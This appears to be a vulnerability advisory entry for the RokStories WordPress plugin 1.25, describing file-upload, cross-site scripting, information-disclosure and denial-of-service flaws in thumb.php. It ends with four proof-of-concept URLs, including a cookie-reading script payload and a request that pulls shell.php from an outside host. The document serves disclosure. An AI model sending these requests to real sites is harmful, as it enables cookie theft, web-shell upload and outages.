WordPress Plugin RokStories - 'thumb.php' Multiple Vulnerabilities

Author: MustLive
type: webapps
platform: php
port: 
date_added: 2013-09-17 
date_updated: 2016-12-18 
verified: 1 
codes:  
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/62459/info

The RokStories plugin for WordPress is prone to multiple security vulnerabilities, including:

1. An arbitrary file-upload vulnerability
2. A cross-site scripting vulnerability
3. An information-disclosure vulnerability
4. A denial-of-service vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

RokStories 1.25 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example.com/big_file&h=1&w=1

http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example2.com/shell.php